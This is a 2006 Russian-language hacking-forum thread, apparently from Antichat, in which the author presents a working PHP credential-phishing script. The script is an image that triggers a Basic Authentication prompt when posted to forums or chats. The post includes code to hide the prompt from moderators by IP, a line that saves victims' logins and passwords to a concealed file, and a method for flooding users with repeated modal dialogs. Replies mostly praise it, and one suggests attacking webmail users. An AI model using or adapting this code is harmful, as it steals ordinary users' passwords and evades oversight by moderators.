Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Применение Basic Authorization против форумов (https://forum.antichat.xyz/showthread.php?t=20911)

hidden 25.06.2006 17:51

Применение Basic Authorization против форумов
 
Я надеюсь, вы ввели не верные данные (не беспокойтесь то, что вы ввели, попало только на ту картинку, что на вашем экране), но если всёже верные это ещё раз даказывает возможности этого способа и эта статья поможет вам больше не покупаться на подобный метод авторизации, а вобще я ненашол статьи на подобную тему и решил написать.


Данный метод авторизации применяется очень редко, из-за отсутствия шифрования передаваемых серверу данных, отсутствия возможности изменения интерфейса ввода данных, а также из-за того, что введённые данные ассоциируются только с той страницей, на которой проводилась авторизация.
В основном он применяется аппаратными сетевыми средствами, например, для доступа к странице настроек, из-за простоты использования.


Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.


Из предыдущего предложения сделаем вывод: Если применить этот метод в почитании с СИ, может что-то получиться.



Первый способ: Стырить пароль у юзера. Это наиболее полезный способ.


Закинув такую картинку в обычный форум или чат можно выловить некоторое количество логинов и паролей юзеров.


И вот он скрипт.

PHP код:

<?php
  
  header
("Content-type: image/png");

  
$im imagecreate(25664);
  
  
imagecolorallocate($im000);
  
  
$green_color imagecolorallocate($im02550);
  
  
imagerectangle($im0025563$green_color);
  
  
$login $_SERVER['PHP_AUTH_USER'];
  
  
$pass  $_SERVER['PHP_AUTH_PW'];
  
  if ((
strlen($login)<3) || (strlen($pass)<1)){
  
    
Header('HTTP/1.1 401 Unauthorized');
    
    
Header('WWW-Authenticate: Basic realm="hidden"');
    
    
imagestring($im26425"You're not authorized!"$green_color);
  
  } else {
  
    
imagestring($im21616"Your login is '$login', and"$green_color);
    
    
imagestring($im21636"your password is '$pass'"$green_color);
  
  }
  
  
imagepng($im);
  
  
imagedestroy($im);

?>


Именно он применён перед началом данной статьи.

Ты наверно скажешь, как только модератор это увидит, он сразу удалит эту картинку, если конечно он её увидит, для этого мы поставим фильтр, на IP адрес модера, для этого просто заменим эту строку


PHP код:

if ((strlen($login)<3) || (strlen($pass)<1)){ 

на

PHP код:

if (((strlen($login)<3) || (strlen($pass)<1)) && ($_SERVER['REMOTE_ADDR']<>'127.0.0.1')){ 


в данном случае 127.0.0.1 нужно заменить на реальный IP адрес модера, или модифицировать этот простенький скрипт, для фильтрации по спискам, думаю, если ты собераешся применять этот способ, значит, разберешься, как это сделать.


Ну и естественно нужно сохранить полученные данные


PHP код:

$fh=gzopen('pass.gz''a9');gzwrite($fh"$login:$pass\n");gzclose($fh); 


Если скрипт находится в корневой директории сайта, то лучше сохранять не в "pass.gz", а в "../pass.gz", чтобы нельзя было получить доступ к файлу из вэб.


Второй способ: Что-то вроде флуда, только хуже.


Если ты заметил, это модальное окно, значит пока его не закроешь нельзя продолжить пользоваться окном над которым оно открылось, ты скажешь, ну я просто закрою его и всего-то делов, а представь я вставил 50 таких картинок, и каждую придётся закрывать.


И так, мы сталкиваемся с такой проблемой, браузер привязывает эти данные к тому хосту(не странице, а хосту), с которого открыл, и чтобы обойти это нам потребуется личный IP, что не даёт нам бесплатный хостинг.


Зачем? А затем, что для браузера 127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1, последний ведёт туда же просто первый байт переведён восьмеричную систему счисления, также можно перекодировать её в HEX - 0x7f или 7fh, а вообще нулей перед цифрой в восьмеричной системе можно писать сколько угодно 127.0.000000000000.1, 00000000000177.0.0.1, но для браузера это разные хосты, потому что привязка текстовая.


Заметь:
-
Приведённый скрипт, это скрипт PHP, его надо вставить в любой текстовый редактор и сохранить в формате php(не png, иначе придётся править .htaccess).
- Результатом этого скрипта, получается, не страница, а картинка, которую можно вставить [IMG]cюда[/IMG], или <img src="сюда">.


Решение проблемы: Я не представляю способов решения, кроме отключения картинок, но ведь это не выход. Убить двух яайцев избавиться от баннеров и лишних картинок можно установкой FireFox + Adblock plugin-а, это то, что я и делаю.



hidden специально для AntiChat

Dracula4ever 25.06.2006 18:10

Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

hidden 25.06.2006 18:20

Цитата:

Сообщение от dracula4ever
Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

Тыбы написал что тебе непонравилось, раз уж начал, а так не**р флудить.

Dracula4ever 25.06.2006 18:29

Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :
Цитата:

<?php

header("Content-type: image/png");

$im = imagecreate(256, 64);

imagecolorallocate($im, 0, 0, 0);

$green_color = imagecolorallocate($im, 0, 255, 0);

imagerectangle($im, 0, 0, 255, 63, $green_color);

$login = $_SERVER['PHP_AUTH_USER'];

$pass = $_SERVER['PHP_AUTH_PW'];

if ((strlen($login)<3) || (strlen($pass)<1)){

Header('HTTP/1.1 401 Unauthorized');

Header('WWW-Authenticate: Basic realm="hidden"');

imagestring($im, 2, 64, 25, "You're not authorized!", $green_color);

} else {

imagestring($im, 2, 16, 16, "Your login is '$login', and", $green_color);

imagestring($im, 2, 16, 36, "your password is '$pass'", $green_color);

}

imagepng($im);

imagedestroy($im);

?>
А не несколько строчек

bul.666 25.06.2006 18:53

Цитата:

Сообщение от dracula4ever
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Мне кажется все поняли...

hidden 25.06.2006 18:57

Цитата:

Сообщение от dracula4ever
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Для тех кто хоть немного знает инглиш и какой небудь язык програмирования, будет достаточно понятно чтоб применить, если нет пусть читают Руководство по PHP, а если кто-то нехочет и непонимает, нах тогда ему эта тема.

Utochka 25.06.2006 19:00

прикинь даже и не задумывался что так мона тырить ))

nerezus 25.06.2006 19:15

боян, но расписан хорошо )

hidden 25.06.2006 19:18

Цитата:

Сообщение от nerezus
боян, но расписан хорошо )

Ничего подобного, сам придумал, сам написал! Если ктото до меня это придумал, это не значит, что я у него содрал, приведи пример, откуда можно взять такую статью и на сколько она будет похожа на мою.

И вообще, я никогда ничего не сдираю!

max_pain89 25.06.2006 22:04

Блин это мега статья, конечно вероятность ввода юзером пароля не очень высока, однако аффтор забыл про веб-интерфэйсы мыльников, там никаких модеров нету. Вобщем 5+, вернее 3.
Я думаю даже gmail.com не устоит. Давайте название этому всему придумаем.


Время: 21:41